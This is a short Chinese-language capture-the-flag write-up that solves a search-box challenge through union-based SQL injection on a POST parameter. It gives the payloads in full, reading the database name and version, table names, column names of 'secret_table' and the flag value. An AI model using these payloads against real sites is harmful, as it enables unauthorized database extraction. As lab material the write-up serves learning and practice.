目录
审题
题目就给了个搜索框,看了网站源码,也抓了包,发现search的值用的是post传参,随便搞了挺久
也只能想到SQL注入了
注入点判断
按前面搜索的操作search就是搜索数据库内的内容,内容没有就没有回显,所以用常规的and 1=1方法是判断不出来注入点的,只有让SQL语句产生错误才行,要是SQL语句的话,注入随便注入混用单引号,例如1'1'dasf'应该会报错什么的
发现页面空白,search是注入点无疑了
字段数判断
发现用order by判断不了字段,所以就用联合注入逐个尝试了,发现字段是3的时候有回显,回显的字段是2跟3
爆表
确定字段数后,利用联合搜索,爆一下当前数据库名跟数据库版本,post传参
search=1' union select 1,database(),version() -- -
接着看一下表名,构造post
search=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() -- -
接着看一下第二个表的字段名,构建post
search=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'secret_table' -- -
再构建post,查看一下fl4g的字段值
search=1' union select 1,2,group_concat(fl4g) from secret_table -- -
拿到flag